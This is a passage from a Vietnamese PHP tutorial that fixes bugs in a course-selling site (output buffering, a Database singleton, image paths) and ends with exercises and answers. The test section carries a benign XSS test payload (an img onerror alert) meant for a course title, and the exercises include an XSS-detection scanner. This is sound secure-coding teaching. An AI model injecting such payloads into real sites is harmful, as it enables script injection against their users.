📁 Models/VNPay.php — code sửa lỗi (không so khớp repo)

<?php
include_once "./Models/Database.php";       // vá luôn lỗi 15

class VNPay {
    private $db;
    private $config;
    
    public function __construct() {
        $this->db = new Database();
        $this->config = include "./config.php";
    }
    
    public function createPaymentUrl($orderId, $amount, $orderInfo, $returnUrl) {
        $vnp_Url        = $this->config['vnp_Url'];
        $vnp_TmnCode    = $this->config['vnp_TmnCode'];
        $vnp_HashSecret = $this->config['vnp_HashSecret'];
        // ...phần còn lại giữ nguyên...
    }
    
    public function verifyPayment($inputData) {
        $vnp_HashSecret = $this->config['vnp_HashSecret'];
        // ...phần còn lại giữ nguyên...
    }

📁 Controllers/PaymentController.php — code sửa lỗi (không so khớp repo)

        // Tự suy ra đường dẫn gốc thay vì viết cứng
        $thuMucGoc = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\');
        $giaoThuc  = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        $returnUrl = $giaoThuc . "://" . $_SERVER['HTTP_HOST'] . $thuMucGoc . "/?ctrl=payment&act=callback";

Và tạo .gitignore chứa dòng config.php, cùng config.example.php làm mẫu cho người khác.

Cảnh báo quan trọng: nếu bạn đã lỡ đẩy khóa thật lên GitHub, xóa nó khỏi code không đủ. Lịch sử git vẫn giữ giá trị cũ. Cách xử lý duy nhất đúng là đổi khóa với nhà cung cấp.


Lỗi 13 — Chuyển hướng sau khi đã xuất nội dung

Triệu chứng. Trên XAMPP mặc định thì không thấy gì. Nhưng tắt output_buffering trong php.ini rồi khởi động lại Apache, bạn sẽ thấy hàng loạt cảnh báo và toàn bộ chức năng đăng nhập, đăng ký, thanh toán ngừng hoạt động:

Warning: Cannot modify header information - headers already sent by
(output started at ...\Views\layout_header.php:1) in ...\Controllers\UserController.php on line 49

File và vị trí. index.php dòng 7:

include_once "./Views/layout_header.php";

Dòng này chạy trước khi Controller được gọi ở dòng 24.

Nguyên nhân. Như Bài 4 mục 2.9 đã giải thích, một phản hồi HTTP gồm phần đầu rồi mới tới phần thân. Khi PHP đã in ra dù một ký tự, phần đầu coi như đã gửi và header() không sửa được nữa.

EzCode có hơn 30 lệnh header("Location: ...") trong các Controller. Tất cả đều chạy sau khi header HTML đã in ra.

Nó hoạt động chỉ nhờ output_buffering — tính năng giữ nội dung trong bộ nhớ đệm thay vì gửi ngay. XAMPP bật sẵn với giá trị 4096.

Đây là lỗi kiến trúc, không phải lỗi nhỏ. Website hoạt động dựa trên một cấu hình mà bạn không kiểm soát được trên máy chủ của người khác.

Code sửa — cách 1 (khuyến nghị): chuyển việc nạp layout xuống sau Controller.

📁 index.php — code sửa lỗi (không so khớp repo)

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

session_start();
include_once "./helpers.php";

// Chạy Controller TRƯỚC, hứng nội dung vào bộ đệm
ob_start();

if (isset($_GET['ctrl']) && isset($_GET['act'])) {
    include_once "./Controllers/" . ucfirst($_GET['ctrl']) . "Controller.php";
    $ctrl = new (ucfirst($_GET['ctrl']) . "Controller")();
    $act = $_GET['act'];

    $args = [];
    foreach ($_GET as $khoa => $giaTri) {
        if ($khoa !== 'ctrl' && $khoa !== 'act') {
            $args[] = $giaTri;
        }
    }

    $ctrl->$act(...$args);
} else {
    include_once "./Controllers/PageController.php";
    $ctrl = new PageController();
    $ctrl->home();
}

$noiDung = ob_get_clean();

// Bây giờ mới in ra: header, nội dung, footer
include_once "./Views/layout_header.php";
echo $noiDung;
include_once "./Views/layout_footer.php";

Cách này gộp luôn bản vá của lỗi 1.

ob_start() bật bộ đệm, ob_get_clean() lấy nội dung ra và tắt bộ đệm. Nhờ đó Controller chạy xong hoàn toàn — kể cả các lệnh header() — trước khi bất kỳ ký tự nào được gửi đi.

Code sửa — cách 2 (đơn giản hơn): chỉ thêm ob_start().

📁 index.php — code sửa lỗi (không so khớp repo)

<?php
ob_start();                      // bật bộ đệm ngay đầu file
error_reporting(E_ALL);
ini_set('display_errors', 1);

session_start();
include_once "./Views/layout_header.php";
// ...phần còn lại giữ nguyên...

Cách này chỉ thêm một dòng và không cần sửa gì khác. Nó biến việc phụ thuộc vào cấu hình máy chủ thành phụ thuộc vào code của chính bạn.

Nên chọn cách nào?

Cách 2 an toàn hơn để áp dụng ngay, vì không đụng tới cấu trúc. Cách 1 đúng đắn hơn về mặt kiến trúc, nhưng cần kiểm tra lại Views/payment_history.php — file này tự nạp header, và sau khi vá lỗi 6 thì mới tương thích.

Nếu bạn đã vá lỗi 6, hãy dùng cách 1.


Nhóm C — Vấn đề chất lượng code

Lỗi 14 — Models/Enrollment.php là code chết

Triệu chứng. Không có. File tồn tại, class hợp lệ, nhưng không bao giờ được dùng.

File và vị trí. Models/Enrollment.php.

Nguyên nhân. Không file nào include hay new Enrollment(). Chức năng ghi danh thật nằm ở User::enrollCourse().

Bạn có thể tự kiểm chứng bằng cách tìm chuỗi Enrollment trong toàn project — chỉ có định nghĩa class và một phương thức trùng tên là checkEnrollment của Model User.

Vì sao code chết có hại?

  1. Người mới đọc code sẽ mất thời gian tìm hiểu một thứ vô dụng
  2. Người bảo trì có thể sửa nhầm file này khi cần sửa chức năng ghi danh
  3. Nó tạo ấn tượng sai rằng đây là nơi xử lý ghi danh

Code sửa. Có hai hướng, và ở đây hướng thứ hai tốt hơn.

Hướng 1 — xóa file. Đơn giản, hết code chết.

Hướng 2 — dùng nó thay cho User::enrollCourse(). Vì Enrollment::enroll() thực ra được viết tốt hơn: nó có tham số role, bọc tên cột bằng dấu backtick, và không có khối try/catch thừa.

📁 Controllers/PaymentController.php — code sửa lỗi (không so khớp repo)

    public function callback() {
        include_once "./Models/VNPay.php";
        include_once "./Models/Enrollment.php";      // đổi từ User.php
        
        $vnpayModel = new VNPay();
        $enrollmentModel = new Enrollment();
        
        // ...
                if ($responseCode == "00") {
                    $vnpayModel->updatePaymentStatus($orderId, 'completed', $transactionId);
                    
                    // Ghi danh cho học viên
                    $enrollmentModel->enroll(
                        $payment['user_id'],
                        $payment['course_id'],
                        'student',
                        $payment['amount']
                    );
        // ...

Rồi xóa enrollCourse() khỏi Models/User.php.

Vì sao hướng 2 tốt hơn về mặt thiết kế? Vì nó đặt trách nhiệm đúng chỗ: Model User lo bảng users, Model Enrollment lo bảng enrollments. Phương thức User::enrollCourse() đang chèn dữ liệu vào bảng không thuộc trách nhiệm của nó — vi phạm nguyên tắc "mỗi Model một bảng" ở Bài 9.

Cùng lý do đó, User::checkEnrollment() và User::getEnrolledCourses() cũng nên chuyển sang Enrollment.


Lỗi 15 — Models/VNPay.php thiếu include_once

Triệu chứng. Không có. File chạy được.

Nhưng thử đảo hai dòng include trong PaymentController::create():

include_once "./Models/VNPay.php";      // đưa lên đầu
include_once "./Models/Courses.php";

Kết quả:

Fatal error: Uncaught Error: Class "Database" not found in ...\Models\VNPay.php

File và vị trí. Models/VNPay.php dòng 1 — thiếu dòng include.

Nguyên nhân. File dùng new Database() trong constructor nhưng không tự nạp class đó. Nó chạy được hoàn toàn nhờ may mắn: Controller tình cờ include Courses.php trước, và file đó đã include Database.php.

So sánh với năm Model còn lại — tất cả đều có dòng include_once "./Models/Database.php"; ở đầu. Chỉ VNPay.php thiếu.

Đây gọi là phụ thuộc ngầm — code phụ thuộc vào một điều kiện không được nói ra ở đâu cả. Loại lỗi này nguy hiểm vì nó ẩn cho tới khi ai đó vô tình động vào thứ tưởng như vô hại.

Code sửa. Một dòng.

📁 Models/VNPay.php — code sửa lỗi (không so khớp repo)

<?php
include_once "./Models/Database.php";

class VNPay {

Nguyên tắc rút ra: mỗi file phải tự nạp mọi thứ nó cần, không dựa vào việc file khác đã nạp hộ. include_once đã bảo đảm không nạp trùng, nên khai báo thừa không tốn gì.

Các framework hiện đại giải quyết triệt để bằng autoload: bạn không viết include nữa, PHP tự tìm file theo tên class.


Lỗi 16 — Mỗi Model mở một kết nối MySQL riêng

Triệu chứng. Không có với vài người dùng. Nhưng với nhiều người truy cập cùng lúc, MySQL báo:

Connection failed: SQLSTATE[HY000] [1040] Too many connections

File và vị trí. Constructor của cả sáu Model:

function __construct()
{
    $this->db = new Database();
}

Nguyên nhân. Mỗi lần new Database() là một kết nối MySQL mới.

Đếm thử số kết nối cho một lần tải trang:

Trang Số Model dùng Số kết nối
Trang chủ 1 1
Danh sách khóa học 3 3
Chi tiết khóa học 2 2
Thanh toán 3 3
Callback VNPay 2 2

XAMPP mặc định cho phép 151 kết nối đồng thời. Với trang danh sách khóa học, chỉ cần 50 người truy cập cùng lúc là chạm giới hạn.

Code sửa. Viết lại Database theo mẫu Singleton ở mục 2.7.

📁 Models/Database.php — code sửa lỗi (không so khớp repo)

<?php
class Database
{
    private $servername = "localhost";
    private $username = "root";
    private $password = "";
    private $dbname = "ezcode";
    private $conn;

    // Thuộc tính tĩnh giữ object duy nhất
    private static $instance = null;

    // Constructor để private: không ai new được từ bên ngoài
    private function __construct()
    {
        try {
            $this->conn = new PDO(
                "mysql:host=$this->servername;dbname=$this->dbname;charset=utf8mb4",
                $this->username,
                $this->password
            );
            $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        } catch (PDOException $e) {
            // Không in ra trang, ghi vào log
            error_log("Ket noi that bai: " . $e->getMessage());
            die("Không thể kết nối cơ sở dữ liệu. Vui lòng thử lại sau.");
        }
    }

    // Cách duy nhất để lấy object
    public static function getInstance()
    {
        if (self::$instance === null) {
            self::$instance = new Database();
        }
        return self::$instance;
    }

    // ...năm phương thức query, queryOne, insert, update, delete giữ nguyên...
}

Rồi sửa constructor của cả sáu Model:

📁 Models/Courses.php — code sửa lỗi (không so khớp repo)

  function __construct()
  {
    $this->db = Database::getInstance();
  }

Cách hoạt động:

  • Lần đầu ai đó gọi Database::getInstance(), thuộc tính $instance còn null nên object mới được tạo và cất vào đó.
  • Mọi lần gọi sau, $instance đã có giá trị nên hàm trả về chính object cũ.
  • Kết quả: một kết nối duy nhất cho cả request, dù có bao nhiêu Model.

Từ khóa self:: trỏ tới chính class hiện tại, dùng cho thuộc tính và phương thức static.

Bản vá này còn sửa hai vấn đề nữa:

Thứ nhất, thêm charset=utf8mb4 vào chuỗi DSN. Không có nó, một số cấu hình MySQL sẽ trả về tiếng Việt bị hỏng thành Nguyá»…n Văn A.

Thứ hai, không in lỗi kết nối ra trang. Thông báo PDOException chứa tên database và tên máy chủ — thông tin quý cho kẻ tấn công. Bản vá ghi vào log và hiện cho người dùng một câu chung chung.

Nhược điểm của Singleton cần biết: nó tạo ra trạng thái toàn cục, làm việc viết kiểm thử tự động khó hơn vì bạn không thay được kết nối bằng một bản giả. Với project quy mô này thì đánh đổi hoàn toàn xứng đáng.


Lỗi 17 — Đường dẫn ảnh không nhất quán

Triệu chứng. Mở trang chủ, 12 trong 14 khóa học bị vỡ ảnh. Chỉ hai khóa do bạn tải ảnh lên ở Bài 18 là hiện đúng.

Trang lịch sử thanh toán thì mọi ảnh đều vỡ.

File và vị trí. Ba nơi khác nhau:

Nơi Đường dẫn dùng
Dữ liệu mẫu trong ezcode.sql Ảnh thật nằm ở public/img/
Hầu hết View Ghép public/img/courses/
Views/payment_history.php Ghép public/img/

Nguyên nhân. Dữ liệu mẫu được tạo khi ảnh còn để ở public/img/. Sau đó chức năng upload ở Bài 18 lưu ảnh vào public/img/courses/, và các View được sửa theo. Nhưng dữ liệu mẫu cũ không được cập nhật, và một View bị bỏ sót.

Code sửa. Chọn public/img/courses/ làm chuẩn, rồi sửa cả hai phía.

Bước 1 — chuyển 12 file ảnh mẫu từ public/img/ sang public/img/courses/. Làm bằng tay trong File Explorer.

Bước 2 — sửa View bị lệch:

📁 Views/payment_history.php — code sửa lỗi (không so khớp repo)

                                <img src="public/img/courses/<?= e($payment['course_image']) ?>"
                                     alt="Ảnh khóa học" class="course-thumb"
                                     onerror="this.src='public/img/Logo.png'">

Thuộc tính onerror của thẻ <img> chạy khi ảnh không tải được, và ở đây nó thay bằng logo. Cách này bền hơn nhiều so với việc trỏ tới public/img/default-course.jpg — một file không tồn tại trong repo.

Bước 3 — nếu bạn muốn kiểm tra dữ liệu, chạy câu này trong phpMyAdmin để xem khóa học nào có ảnh:

SELECT id, title, image FROM courses ORDER BY id;

Cách phòng tận gốc. Vấn đề thật là đường dẫn bị viết cứng rải rác ở 8 View. Đổi cấu trúc thư mục là phải sửa 8 chỗ.

Cách đúng là gom vào một hàm dùng chung:

📁 helpers.php — code sửa lỗi (không so khớp repo)

/**
 * Trả về đường dẫn ảnh khóa học, có ảnh dự phòng nếu thiếu.
 */
function anhKhoaHoc($tenFile)
{
    $thuMuc = 'public/img/courses/';
    if (!empty($tenFile) && file_exists($thuMuc . $tenFile)) {
        return $thuMuc . e($tenFile);
    }
    return 'public/img/Logo.png';
}

Rồi mọi View viết gọn:

<img src="<?= anhKhoaHoc($course['image']) ?>" alt="<?= e($course['title']) ?>" />

Bây giờ đổi thư mục ảnh chỉ cần sửa một dòng. Và hàm còn tự kiểm tra file có tồn tại không, nên không bao giờ vỡ ảnh nữa.


Ghi chú chung — thiếu kiểm tra null sau truy vấn

Ngoài 17 lỗi trên, project có một vấn đề lan tỏa: nhiều Controller không kiểm tra kết quả truy vấn trước khi dùng.

Nguyên nhân gốc nằm ở Models/Database.php. Nhớ lại Bài 8 mục 3.3: mọi khối catch chỉ echo thông báo lỗi rồi kết thúc mà không return gì — nghĩa là hàm trả về null. Hàm gọi không có cách nào biết đã xảy ra lỗi.

Chỗ rõ nhất là CourseController::detail():

$courseDetail = $coursesModel->getById($id);
include_once "./Views/course_detail.php";     // không kiểm tra gì cả

Mở ?ctrl=course&act=detail&id=999 là trang đầy cảnh báo Trying to access array offset on value of type bool.

Cách vá từng chỗ đã có ở Bài 13 bài tập 3.

Cách vá gốc rễ là để Database ném ngoại lệ lên cho tầng trên xử lý, thay vì nuốt lỗi:

📁 Models/Database.php — code sửa lỗi (không so khớp repo)

    function query($sql, ...$args)
    {
        try {
            $stmt = $this->conn->prepare($sql);
            $stmt->execute($args);
            $stmt->setFetchMode(PDO::FETCH_ASSOC);
            return $stmt->fetchAll();
        } catch (PDOException $e) {
            error_log("Loi truy van: " . $e->getMessage() . " | SQL: " . $sql);
            throw $e;                      // ném lên, không nuốt
        }
    }

Khi đó lỗi hiện ra đúng chỗ gây lỗi, được ghi vào log đầy đủ, và không lộ câu SQL ra trang.


4. Chạy thử

Bảng dưới đây liệt kê sáu lỗi bạn nhìn thấy được bằng mắt, kèm cách kiểm chứng trước và sau khi vá.

Lỗi Cách kiểm chứng Trước khi vá Sau khi vá
1 Bấm "+ Thêm bài học mới" ở trang quản lý bài học ArgumentCountError, trang chết Form tạo bài học mở ra bình thường
6 Mở ?ctrl=payment&act=history rồi bấm Ctrl+U xem mã nguồn Có hai lần <!DOCTYPE html> nếu đổi sang include Chỉ một lần
7 Mở trang Vào học, bấm sang bài học thứ hai Video giữ nguyên không đổi Video đổi theo bài
9 Nếu đã dùng layout_user_sidebar.php, xem sidebar hồ sơ Mục "Đổi mật khẩu" hiển thị sai Hiển thị đúng
10 Tạo khóa học tên <b>TEST</b> rồi mở trang chủ Hiện chữ TEST in đậm Hiện đúng chuỗi <b>TEST</b>
11 Đăng ký tài khoản mới, gõ ?ctrl=learn&act=detail&id=1 Học được miễn phí Bị đá về trang chi tiết kèm thông báo

Cách thử lỗi 10 cho đầy đủ. Đăng nhập giảng viên, tạo khóa học với tiêu đề:

<img src=x onerror="alert('XSS!')">

Mở trang chủ. Trước khi vá, hộp thoại cảnh báo nhảy ra — chứng tỏ mã của kẻ tấn công đã chạy trên máy bạn.

Sau khi vá, bạn chỉ thấy đúng chuỗi ký tự đó hiện ra dưới dạng chữ.

Nhớ xóa khóa học thử nghiệm sau khi kiểm chứng xong.

Cách thử lỗi 13. Mở C:\xampp\php\php.ini, tìm dòng output_buffering = 4096, đổi thành output_buffering = Off, khởi động lại Apache.

Trước khi vá, thử đăng nhập — bạn sẽ thấy hàng loạt cảnh báo Cannot modify header information và không đăng nhập được.

Sau khi vá bằng ob_start(), mọi thứ hoạt động bình thường.

Nhớ đổi lại output_buffering = 4096 sau khi thử.


5. Bài tập

Bài tập 1

Áp dụng bản vá của lỗi 10 cho toàn bộ 22 View.

Yêu cầu:

  1. Tạo helpers.php với hàm e() và nạp nó từ index.php
  2. Tạo Views/layout_flash.php và thay 15 khối flash message rải rác bằng một dòng include
  3. Rà từng View, bọc e() cho mọi chuỗi in ra, dùng (int) cho mọi số

Cuối cùng lập một bảng liệt kê mọi vị trí bạn đã sửa: tên file, số dòng, đoạn code cũ, đoạn code mới.

Bài tập 2

Viết một script kiểm tra tự động tên kiem-tra-xss.php quét toàn bộ thư mục Views/ và liệt kê những dòng có <?= mà không chứa e(, htmlspecialchars, number_format, hay (int).

Chạy nó trước và sau khi làm bài tập 1 để chứng minh bạn đã phủ hết.

Gợi ý: dùng glob() để lấy danh sách file, file() để đọc từng dòng, và preg_match() để tìm mẫu.

Bài tập 3

Tự rà lại project và tìm thêm ít nhất một vấn đề chưa có trong danh sách 17 lỗi.

Trình bày theo đúng bốn phần: Triệu chứng, File và vị trí, Nguyên nhân, Code sửa.

Đây là bài tập quan trọng nhất của cả giáo trình — nó kiểm tra xem bạn đã thực sự đọc hiểu code hay chỉ chép theo.


6. Đáp án

Đáp án bài tập 1

Toàn bộ code đã có ở mục 3, phần Lỗi 10. Dưới đây là bảng liệt kê đầy đủ những vị trí cần sửa.

Nhóm 1 — Tên khóa học và dữ liệu khóa học:

File Đoạn cũ Đoạn mới
page_home.php <?= $course['image']?> <?= e($course['image']) ?>
page_home.php <?= $course['title']?> (2 chỗ) <?= e($course['title']) ?>
page_home.php <?=$course['id']?> <?= (int)$course['id'] ?>
course_list.php <?= $course['image'] ?>, <?= $course['title'] ?> (2 chỗ) Bọc e()
course_detail.php <?= $courseDetail['title'] ?> <?= e($courseDetail['title']) ?>
course_detail.php <?= $courseDetail['teacher_name'] ?> Bọc e()
course_detail.php <?= $courseDetail['description'] ?> <?= nl2br(e(...)) ?>
course_detail.php <?= $lessions['title'] ?>, <?= $lessions['content'] ?> Bọc e()
user_course.php <?= $course['image'] ?>, <?= $course['title'] ?> Bọc e()
teacher_dashboard.php <?= $course['image'] ?>, <?= $course['title'] ?> Bọc e()
teacher_course.php <?= $course['image'] ?>, <?= $course['title'] ?> trong alt Bọc e()

Nhóm 2 — Tên người dùng và danh mục:

File Đoạn cũ Đoạn mới
course_list.php <?= $teacher['name'] ?> <?= e($teacher['name']) ?>
course_list.php <?= $categories['name'] ?> <?= e($categories['name']) ?>

Nhóm 3 — Nội dung bài học:

File Đoạn cũ Đoạn mới
teacher_lessons.php <?= $lesson['content'] ?> sau substr <?= e(mb_substr(...)) ?>
teacher_lessons.php <a href="<?= $lesson['video'] ?>"> <a href="<?= e($lesson['video']) ?>">
learn_detail.php <?= $lesson['title'] ?> <?= e($lesson['title']) ?>
learn_detail.php <?= $lessionsList[0]['content'] ?> <?= nl2br(e(...)) ?>

Nhóm 4 — Thông báo flash, 15 file:

Thay toàn bộ bằng <?php include "./Views/layout_flash.php"; ?>.

Nhóm 5 — Giá trị form:

File Đoạn cũ Đoạn mới
teacher_course_create.php value="<?= isset($_POST['price']) ? $_POST['price'] : '' ?>" Bọc e()
teacher_lesson_create.php value="<?= ... $_POST['sort_order'] ... ?>" (int)

Tổng cộng: khoảng 40 vị trí trong 12 file.

Một mẹo để không sót: sau khi sửa xong, tìm kiếm chuỗi <?= trong toàn thư mục Views/. Mọi kết quả phải rơi vào một trong bốn trường hợp: có e(, có htmlspecialchars, có number_format, hoặc có (int). Bất kỳ trường hợp nào khác đều cần xem lại.

Bài tập 2 sẽ tự động hóa đúng việc kiểm tra này.

Đáp án bài tập 2

📄 kiem-tra-xss.php — đặt ở gốc project, chạy bằng php kiem-tra-xss.php

<?php
/**
 * Quet thu muc Views/ tim cac dong in du lieu ma chua loc.
 * Chay: php kiem-tra-xss.php
 */

$thuMuc = __DIR__ . '/Views';
$anToan = ['e(', 'htmlspecialchars', 'number_format', '(int)', '(float)', 'date('];

$tongSoDongNghiNgo = 0;

foreach (glob($thuMuc . '/*.php') as $duongDan) {
    $tenFile = basename($duongDan);
    $dongs   = file($duongDan);
    $nghiNgo = [];

    foreach ($dongs as $soDong => $noiDung) {
        // Chi quan tam dong co the in du lieu ra
        if (strpos($noiDung, '<?=') === false) {
            continue;
        }

        // Bo qua neu chi in chuoi tinh hoac bien dem
        $daAnToan = false;
        foreach ($anToan as $mau) {
            if (strpos($noiDung, $mau) !== false) {
                $daAnToan = true;
                break;
            }
        }
        if ($daAnToan) {
            continue;
        }

        $nghiNgo[] = [$soDong + 1, trim($noiDung)];
    }

    if ($nghiNgo) {
        echo "\n=== $tenFile — " . count($nghiNgo) . " dong nghi ngo ===\n";
        foreach ($nghiNgo as [$so, $code]) {
            $code = strlen($code) > 100 ? substr($code, 0, 100) . '...' : $code;
            echo "  dong $so: $code\n";
        }
        $tongSoDongNghiNgo += count($nghiNgo);
    }
}

echo "\n";
echo $tongSoDongNghiNgo === 0
    ? "==> Khong tim thay dong nao chua loc.\n"
    : "==> Tong cong $tongSoDongNghiNgo dong can kiem tra lai.\n";

exit($tongSoDongNghiNgo === 0 ? 0 : 1);

Kết quả trước khi vá: script liệt kê khoảng 40 dòng trong 12 file.

Kết quả sau khi vá: ==> Khong tim thay dong nao chua loc.

Ba điều đáng học từ script này:

Thứ nhất, nó là một công cụ, không phải một bằng chứng. Script chỉ tìm theo mẫu văn bản. Nó có thể báo nhầm — ví dụ dòng <?= $current_action == 'courses' ? 'active' : '' ?> chỉ in ra chuỗi cố định nên hoàn toàn an toàn, nhưng script vẫn liệt kê.

Ngược lại nó có thể bỏ sót — một dòng có e( ở chỗ này nhưng thiếu ở chỗ khác trong cùng dòng.

Thứ hai, mã thoát 0 hay 1 rất hữu ích. Nó cho phép cắm script vào quy trình tự động: nếu ai đó thêm một dòng chưa lọc, hệ thống kiểm tra sẽ báo ngay trước khi code được đưa lên.

Thứ ba, đây chính là ý tưởng đằng sau script docs/lessons/.kiemtra/kiem-tra.php mà giáo trình này dùng để bảo đảm mọi khối code trong bài học khớp với repo. Cùng một nguyên lý: viết một chương trình nhỏ để kiểm tra thứ mà mắt người dễ bỏ sót.

Đáp án bài tập 3

Dưới đây là ba vấn đề có thật ngoài danh sách 17 lỗi, để bạn đối chiếu với những gì mình tìm được.


Vấn đề A — Logo ở footer trỏ tới file không tồn tại

  • Triệu chứng. Bấm vào logo ở cuối trang, trình duyệt báo Object not found hoặc lỗi 404.
  • File và vị trí. Views/layout_footer.php dòng 3: <a href="index.html">.
  • Nguyên nhân. Dấu vết từ bản HTML tĩnh trong templateEzCode/. Project không có file index.html.
  • Code sửa. Đổi thành <a href="?ctrl=page&act=home">, giống logo ở header.

Vấn đề B — Ô tìm kiếm ở header không hoạt động

  • Triệu chứng. Gõ từ khóa vào ô tìm kiếm trên đầu trang rồi bấm Enter — không có gì xảy ra.
  • File và vị trí. Views/layout_header.php dòng 19: <input type="search" placeholder="Tìm khóa học..." />.
  • Nguyên nhân. Ô này không nằm trong thẻ <form> nào, và cũng không có thuộc tính name. Dữ liệu không được gửi đi đâu cả.
  • Code sửa. Bọc nó trong một form GET trỏ tới trang danh sách khóa học:
        <form method="GET" action="" style="display: contents;">
          <input type="hidden" name="ctrl" value="course" />
          <input type="hidden" name="act" value="list" />
          <input type="search" name="keyword" placeholder="Tìm khóa học..."
                 value="<?= e($_GET['keyword'] ?? '') ?>" />
        </form>

Nó dùng lại đúng cơ chế lọc mà bạn đã viết ở Bài 12.


Vấn đề C — Logic kiểm tra đăng ký trùng bị lặp ở hai nơi

  • Triệu chứng. Không có triệu chứng. Đây là vấn đề bảo trì.

  • File và vị trí. CourseController::register() và PaymentController::create() — cả hai đều gọi checkEnrollment() với cùng thông báo lỗi.

  • Nguyên nhân. Luồng mua có hai cửa vào: bấm nút "Đăng ký ngay", hoặc gõ thẳng ?ctrl=payment&act=create&id=1. Cả hai đều cần kiểm tra.

  • Đánh giá. Đây là trùng lặp có ích, không phải lỗi. Bỏ kiểm tra ở PaymentController là mở ra lỗ hổng cho người gõ thẳng URL.

    Nhưng thông báo lỗi bị viết cứng hai lần. Nếu muốn đổi câu chữ, phải sửa hai chỗ. Cách gọn hơn là đưa hằng số vào một chỗ chung.


Vài hướng khác để bạn tự khám phá tiếp:

  • Bảng enrollments không có cột id, nên không thể xóa hay tham chiếu tới một dòng ghi danh cụ thể bằng một con số duy nhất. Điều này sẽ thành vấn đề nếu bạn muốn thêm chức năng hoàn tiền.
  • Models/Courses.php có phương thức getEnrolledCourses() không được file nào gọi tới — cùng loại code chết với lỗi 14.
  • Bảng thống kê theo tháng ghi tiêu đề "Thống kê theo tháng" nhưng thực ra chỉ hiện 12 tháng gần nhất do LIMIT 12. Người dùng không được cho biết điều này.
  • TeacherController::dashboard() kiểm tra if ($teacherCourses === false), nhưng Database::query() trả về null khi lỗi chứ không phải false. Điều kiện đó không bao giờ đúng.

Lời kết

Bạn vừa đi qua 22 bài học và dựng ra một website hoàn chỉnh từ một thư mục trống.

Quan trọng hơn cả việc gõ được code là ba điều bạn học được ở bài cuối này:

  1. Code chạy được không có nghĩa là code đúng. Mười ba trong số mười bảy lỗi trên không hề làm trang chết — chúng chỉ chờ đúng hoàn cảnh để gây hại.

  2. Lỗ hổng nguy hiểm nhất nằm ở chỗ "thiếu", không phải chỗ "sai". Lỗi số 11 không có dòng code nào viết sai. Nó chỉ thiếu một lớp kiểm tra.

  3. Sự thiếu nhất quán là dấu hiệu của vấn đề. Gần như mọi lỗi trong danh sách đều lộ ra khi bạn so hai chỗ làm cùng một việc theo hai cách khác nhau: getById với getByIdForTeacher, chỗ có htmlspecialchars chỗ không, id với course_id.

Khi đọc code của bất kỳ ai — kể cả của chính bạn ba tháng sau — hãy tìm những chỗ không nhất quán. Đó là nơi lỗi ẩn nấp.


📖 Xem thêm: Phụ lục A — Tra cứu nhanh

⬅️ Về mục lục · Bài trước


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí